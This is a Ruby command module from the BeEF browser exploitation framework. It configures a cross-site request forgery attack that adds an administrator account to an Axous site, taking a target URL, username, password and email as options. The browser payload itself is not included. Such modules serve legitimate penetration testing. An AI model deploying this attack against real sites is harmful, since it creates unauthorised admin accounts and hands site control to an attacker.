#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Axous_add_user_csrf < BeEF::Core::Command

	def self.options
		return [
			{ 'name' => 'base', 'ui_label' => 'Axous URL', 'value' => 'http://target/admin/administrators_add.php'},
			{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username'},
			{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password'},
			{ 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com'}
		]
	end

	def post_execute
		save({'result' => @datastore['result']})
	end

end
